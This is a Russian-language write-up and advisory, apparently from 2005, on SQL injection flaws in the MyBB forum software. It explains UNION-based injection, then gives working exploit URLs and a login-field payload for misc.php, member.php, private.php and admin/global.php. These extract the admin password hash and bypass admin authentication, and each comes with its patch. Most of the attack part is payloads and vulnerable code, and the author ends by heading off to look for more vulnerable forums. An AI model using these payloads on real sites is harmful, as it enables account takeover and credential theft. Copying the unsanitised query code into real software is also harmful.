|
Animal Опубликовано: dl, 15.05.05 19:24 Сейчас существует множество форумов, которые распространяются как бесплатно, так и за деньги. Насколько мне известно, самые популярные из них, это phpBB, Invision Power Board, PHP-Nuke, и MyBB, о котором и пойдёт речь. MyBB, или MyBulletinBoard - это мощный, эффективный и бесплатно распространяемый форум, разработанный на PHP и работающий с использованием MySQL сервера. Полный контроль над вашим форумом на кончиках ваших пальцев, от множества стилей и тем до полного изменения внешнего вида форумов с помощью системы шаблонов. (Переведённая часть описания с оффициального сайта) От себя могу добавить, что этот форум пока ещё достаточно молодой. Итак. Мне достаточно часто приходилось видеть в обзорах уязвимостей об атаке, названной SQL-инъекцией. Такой тип атак уже достаточно широко известен, но я всё таки опишу, что же он из себя представляет. Многим сценариям(далее скриптам) приходится общаться с базой данных, выбирая оттуда какую-либо информацию, либо сохраняя её. А общаться ему приходится с помощью структурированнаго языка запросов(Structured Query Language или просто SQL), т.к. именно он зарекомендовал себя как простой и эффективный язык запросов к базам данных. Выбирает информацию из базы скрипт чаще всего либо для проверки с какими-либо значениями, либо для вывода этой информации пользователю. Теперь представим, что пользователь должен ввести значение в поле ввода, а скрипт должен найти, скажем, показать пользователю имя и страну участника под тем номером, который ввёл пользователь. Но если то, что ввёл пользователь никак не проверяется перед SQL-запросом, то пользователь может ввести в поле ввода апостроф, что приведёт к неправильному запросу, т.к. апостроф в языке SQL служит ограничителем данных(например символьных). Поясню на примере: пользователь ввёл 13, запрос выглядит так: [SELECT name, country FROM people WHERE num='13'] И скрипт выведет пользователю имя и страну участника с номером 13, например: ~~~~~~~~~~~~~~~~~~~~~~~ # ИМЯ # СТРАНА # #~~~~~~~~~#~~~~~~~~~~~# # Вася # Зимбабве # #~~~~~~~~~#~~~~~~~~~~~# Теперь предположим, что пользователь ввёл апостроф, запрос будет таким: [SELECT name, country FROM people WHERE num='''] причём введённый пользователем апостроф находится между двумя другими, т.к. закрывающий апостроф ставит скрипт. В результате SQL сервер выдаст ошибку, т.к. появился незакрытый апостроф. Теперь обдумав всё пользователь хочет получить то, что Вася хранит в секрете. Предположим это будет номер кредитной карты, и хранится в таблице people он будет под названием ccnumber. Злой пользователь может теперь сформировать в поле ввода вот такой текст: [0' UNION SELECT name, ccnumber FROM people WHERE num='13](UNION используется для "склейки" нескольких SELECT запросов) В результате итоговый, сформированный скриптом запрос будет выглядеть так: [SELECT name, country FROM people WHERE num='0' UNION SELECT name, ccnumber FROM people WHERE num='13'] Учитывая то, что участника с номером 0 нет в таблице, первый SELECT ничего не выведет, зато второй выполнится вполне неплохо, и скрипт выдаст следующее: ~~~~~~~~~~~~~~~~~~~~~~~ # ИМЯ # СТРАНА # #~~~~~~~~~#~~~~~~~~~~~# # Вася # 6661313 # #~~~~~~~~~#~~~~~~~~~~~# Вместо страны в соответствующем поле пользователь получит то, что и хотел. То есть SQL-инъекция заключается в том, чтобы ввести в запрос свой код, чтобы получить информацию, которая тебя интересует. Итак, возвращаясь к MyBB скажу, что этот форум не исключение и он тоже работает с SQL. Забегая немного вперёд процитирую своего друга, говорящего о MyBB: "хоть куда вставь лишний апостроф, получится ошибка". И это действительно так :). Почему я выбрал именно MyBB? Наверное потому, что он единственный был у меня последней версии, а phpBB и IPB были не самые свежие. После успешной "инсталляции" форума и создания парочки пользователей я не стал упорно копаться в коде, а решил поискать потенциально уязвимые параметры. Чаще всего разработчики таких вот скриптов забывают фильтровать значения, которые должны быть числовыми, и я начал искать таковые. Первым делом ткнул на "Help", т.к. там чаще всего бывает число, определяющее идентификатор(номер) раздела помощи. Так оно и оказалось, в качестве номера раздела принимался параметр "hid": [http://localhost/mybb/misc.php?action=help&hid=2] <-- это строка адреса в браузере Первым делом я просто поставил апостроф в конце, те [...&hid=2'], и увидел ошибку MySQL'а, которая гласила о том же неправильном синтаксисе из-за лишнего апострофа. Конечно же показал и запрос, который хотел выполнить: [SELECT * FROM mybb_helpdocs WHERE hid='2''] <-- выбор всех полей из таблицы mybb_helpdocs Нужно было только посмотреть какие из выбранных полей скрипт выводит на экран, а затем сформировать UNION запрос так, чтобы на месте выводимых данных оказалось то, что мне нужно увидеть(в данном случае это хеш админского пароля). Так как админ там по умолчанию имеет uid=1 и учитывая, что раздела помощи с номером 0 не существует, пишу в браузер: [http://localhost/mybb/misc.php?action=help&hid=0' UNION SELECT uid,uid, password,null,null,null FROM mybb_users WHERE uid='1] Теперь вместо заголовка раздела справки на экран выводится хеш админского пароля. Сначала я подумал, что это очень хорошо - найти ТАКУЮ уязвимость в известном форуме, поэтому стал разбираться с админской панелью. Тогда я ещё и не думал, что это ещё не конец. Блуждая по той самой панели администратора(далее ПА) наткнулся на функцию "Послать e-mail" и решил посмотреть на неё поближе. Ткнул на кнопку и в панели адреса появилось следующее: [http://localhost/mybb/member.php?action=emailuser&uid=3] Как видно, параметр uid определяет пользователя, которому пишешь письмо. Нужно быть зарегистрированным пользователем, чтобы можно было использовать эту функцию. Снова вставил в конец апостроф и получил ошибку MySQL'а. Здесь запрос был гораздо проще: выбиралось всего два поля, из которых одно выводилось на экран, так что код для инъекции было составить ещё легче. В итоге в браузер пошла строка: [http://localhost/mybb/member.php?action=emailuser&uid=0' UNION SELECT password, null FROM mybb_users WHERE uid='1] И вместо имени пользователя, которому я захотел отправить письмо, появился хеш админского пароля. Недолго думая была произведена та же операция и с функцией "Послать Private Message", т.к. она похожа по действиям на предыдущую. Запрос там оказался ещё проще: выбирался всего один параметр - имя пользователя. В браузер: [http://localhost/mybb/private.php?action=send&uid=0' UNION SELECT password FROM mybb_users WHERE uid='1] Результат тот же, что и в прошлой уязвимости. Но... ещё после обнаружения первой дыры я заметил, что просто так даже имея кукис с админским хешем и идентификатором меня не пускают в ПА. Позже я, конечно, выяснил, что нужно ещё немного подредактировать кукис, но тогда это было невесело, т.к. полученные приимущества меня не устраивали без ПА. Поэтому я стал копать в этом направлении. Набрал в бровзере [http://localhost/mybb/admin/] и попал в форму авторизации. Первое, что захотелось сделать - так это ткнуть в поле "Логин" апостроф(в поле "Пароль" он бы не принёс должного результата, т.к. перед запросом введённый пароль шифруется MD5). Поставил апостроф в "Логин" и даванул enter. Снова MySQL сказал, что ему запрос не понравился :). Это уже давало шансы. Запрос выглядел так: [SELECT username, uid, password, usergroup FROM mybb_users WHERE username=''' AND password='d41d8cd98f00b204e9800998ecf8427e'] 32 символа после слова password - это как раз и есть то, что я ввёл в поле "Пароль", только зашифрованное MD5. Это уже посложнее, ведь за введённым нами кодом всегда будет следовать конец запроса, т.е. " AND password='blabla'". Сначала я даже расстроился, но тут же вспомнил, что в любом языке AND выполняется раньше, чем OR, а значит запрос пароля(да и имени тоже :) ) можно обойти, сформировав такой запрос, который в одном из операндов выражения OR вернёт истину(aka 1 aka true). В итоге получился вот такой запрос, который я и ввёл в поле "Логин": [' UNION SELECT username, uid, password, usergroup FROM mybb_users WHERE uid=1 OR uid='1] Полный запрос уже к базе получился таким: [SELECT username, uid, password, usergroup FROM mybb_users WHERE username='' UNION SELECT username, uid, password, usergroup FROM mybb_users WHERE uid=1 OR uid='1' AND password='d41d8cd98f00b204e9800998ecf8427e'] Фактически я заставил его выбирать пользователя не по его имени и паролю, а только по идентификатору. Мне было всё равно, что вернёт то, что после AND, самое главное в таблице всегда есть uid, равный 1, значит такой запрос вернёт одного пользователя(админа). И после такого запроса форум сразу же впустил меня в ПА, а ведь я не знал ни пароля, ни даже имени админа. Вот такие вот ошибки бывают даже в известных форумах (хотя это неоднократно уже доказывали все из перечисленных мной форумов). А теперь приведу ту же цитату, но только полностью: "хоть куда вставь лишний апостроф - получится ошибка, потом вставляешь подготовленный запрос и получаешь админский хеш". Форум написан, честно говоря, не самым лучшим образом, т.к. в большинстве случаев нет никакой проверки на введённые переменные и куда не вставь апостроф...(ну, вы понимаете) Также соглашусь и с другим мнением друга: "у них абсолютно все скрипты больные,поэтому их даже уже неинтересно ковырять". Засим откланиваюсь(и иду дальше искать уязвимые форумы 8>...)
Приложение Множественные уязвимости в MyBulletinBoard ForumПРОГРАММА: --------- MyBulletinBoard (MyBB) HOMEPAGE: ---------- http://www.mybboard.com/ УЯЗВИМЫЕ ВЕРСИИ: --- 1.00 RC4 и более ранние ОПАСНОСТЬ: --------- Высокая/Критическая ТИП: --------------- SQL-инъекция УЯЗВИМОСТИ НАЙДЕНЫ: 28-04-2005 ПУБЛИКАЦИЯ: -------- [текущая дата] ОписаниеMyBB, насколько я знаю, достаточно молодой, но всё же достаточно известный форум. Он базируется на коде PHP с использованием сервера баз данных MySQL и распространяется бесплатно. Конечно же он предоставляет пользователям простоту, но в то же время эффективность использования. Администратору форума тоже предоставляется множество опций и достаточно простое и понятное управление форумом. Это один из лучших форумов на сегодняшний день, но... ПроблемаНесколько скриптов подвержены SQL-инъекции, при которой неавторизированный пользователь может получить важную информацию из базы данных форума. Например логин и пароль администратора. Также обнаружена возможность входа в Администраторскую контрольную панель (Admin CP), не зная ни имени пользователя администратора, ни его пароля. Насколько я помню, запрос UNION появился в MySQL только с четвёртой версии, значит при использовании MySQL версии меньше четвёртой эти атаки не принесут никакого результата. Также не будет результата при включенном параметре magic_quotes в файле php.ini. Далее следуют уязвимости с описанием кода, содержащего ошибку, использования, и их исправления: УязвимостиНомер 1. Уязвимый скрипт: misc.php Уязвимый код: elseif($action == "help") {[...] $query = $db->query("SELECT * FROM ".TABLE_PREFIX."helpdocs WHERE hid='$hid'"); [...] Описание: содержимое переменной $hid не фильтруется, значит при обращении к справке можно получить данные из базы путём вставки запроса UNION. Самое главное позаботиться о том, чтобы в $query попал не первый запрос, а именно тот, который вставили мы. Решается это путём введения несуществующего "Help ID". Использование: http://target/misc.php?action=help&hid=[несуществующий ID хелпа]' UNION SELECT uid,uid,password,buddylist,ignorelist,style FROM mybb_users WHERE uid='1 Результат: вместо заголовка раздела помощи хеш администраторского пароля. Исправление: заменить строку в misc.php: $query = $db->query("SELECT * FROM ".TABLE_PREFIX."helpdocs WHERE hid='$hid'"); на $query = $db->query("SELECT * FROM ".TABLE_PREFIX."helpdocs WHERE hid='".intval($hid)."'"); Номер 2. Уязвимый скрипт: member.php Уязвимый код: elseif($action == "emailuser") { [...] if($uid) { $query = $db->query("SELECT username, hideemail FROM ".TABLE_PREFIX."users WHERE uid='$uid'"); [...] Описание: содержимое переменной $uid не фильтруется. Снова UNION и получение произвольных данных. !!! Чтобы использовать эту уязвимость нужно быть зарегистрированным и вошедшим пользователем. !!! Использование: http://target/member.php?action=emailuser&uid=[несуществующий юзер]' UNION SELECT password,hideemail FROM mybb_users WHERE uid='1 Результат: вместо имени пользователя в поле ввода будет хеш администраторского пароля. Исправление: заменить строку в member.php: $query = $db->query("SELECT username, hideemail FROM ".TABLE_PREFIX. "users WHERE uid='$uid'"); на $query = $db->query("SELECT username, hideemail FROM ".TABLE_PREFIX. "users WHERE uid='".intval($uid)."'"); Номер 3. Уязвимый скрипт: private.php Уязвимый код: if($action == "send") { [...] if($uid && !$preview) { $query = $db->query("SELECT username FROM ".TABLE_PREFIX."users WHERE uid='$uid'"); [...] Описание: содержимое переменной $uid не фильтруется и возможно получение произвольных данных из базы также, как и в прошлом случае. Снова нужно быть зарегистрированным и вошедшим пользователем. Использование: http://target/private.php?action=send&uid=[несуществующий юзер]' UNION SELECT password FROM mybb_users WHERE uid='1 Результат: как и в прошлом случае вместо логина пользователя в поле ввода будет выведен хеш администраторского пароля. Исправление: всё тот же intval();. Заменить строку в private.php: $query = $db->query("SELECT username FROM ".TABLE_PREFIX."users WHERE uid='$uid'"); на $query = $db->query("SELECT username FROM ".TABLE_PREFIX."users WHERE uid='".intval($uid)."'"); Номер 4. Обход ввода правильного пароля при входе в панель администратора Уязвимый скрипт: admin/global.php Уязвимый код: if($do == "login") { $md5pw = md5($password); $query = $db->query("SELECT username, uid, password, usergroup FROM ".TABLE_PREFIX."users WHERE username='$username' AND password='$md5pw'"); [...] Описание: Этот фрагмент кода получает управление при попытке пользователя зайти в панель администратора (ПА) вводя логин и пароль. Как видно из кода, мы не сможем вставить код в поле Password, т.к. он всё равно зашифруется MD5. Но остаётся возможность вставить свой код в поле username. Единственной проблемой является то, что конец запроса при этом остаётся, т.е. после нашего кода будет ещё: [Начало запроса+наш код]' AND password='$md5pw' Вспоминая, что в любом языке AND выполняется всегда до OR, можно подставить в конец нашего кода OR с каким-нибудь ненужным параметром, и получить, к примеру: [Начало запроса+наш код] OR uid='1' AND password='$md5pw' Следовательно то, что стоит после OR, даст в результат 0(false). Но то, что перед OR, т.е. наш запрос, даст 1(true) Скрипт обработает полученные данные и впустит нас вовнутрь. Использование: сначала идём на http://target/admin/ , затем в поле ввода имени пользователя вводим: [несущ. имя юзера]' UNION SELECT username,uid,password,usergroup FROM mybb_users WHERE uid=1 OR uid='1пароль можно оставить пустым, он не понадобится. Информация: в более ранних версиях форума, чем 1.00 RC4 количество параметров в запросе может меняться, но их всё равно легко выяснить, поставив в UserName один апостроф. Результат: вход в ПА. Исправление: Заменить строку в файле admin/global.php: $query = $db->query("SELECT username, uid, password, usergroup FROM ".TABLE_PREFIX."users WHERE username='$username' AND password='$md5pw'"); на $query = $db->query("SELECT username, uid, password, usergroup FROM ".TABLE_PREFIX."users WHERE username='".str_replace("'","",$username)."' AND password='$md5pw'"); Постскриптум
Для нахождения потенциально уязвимых мест использовался только бровзер. Для испытания аналогичных SQL запросов, но с инъекцией, использовался phpMyAdmin - хорошая вешь. После успешного результата в phpMA инъекция производилась в браузер. На самом деле подвержены SQL-инъекции не только те скрипты, которые я
описал, а почти все. Просто только в этих я нашёл возможность
получать произвольные данные.
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
|
|
|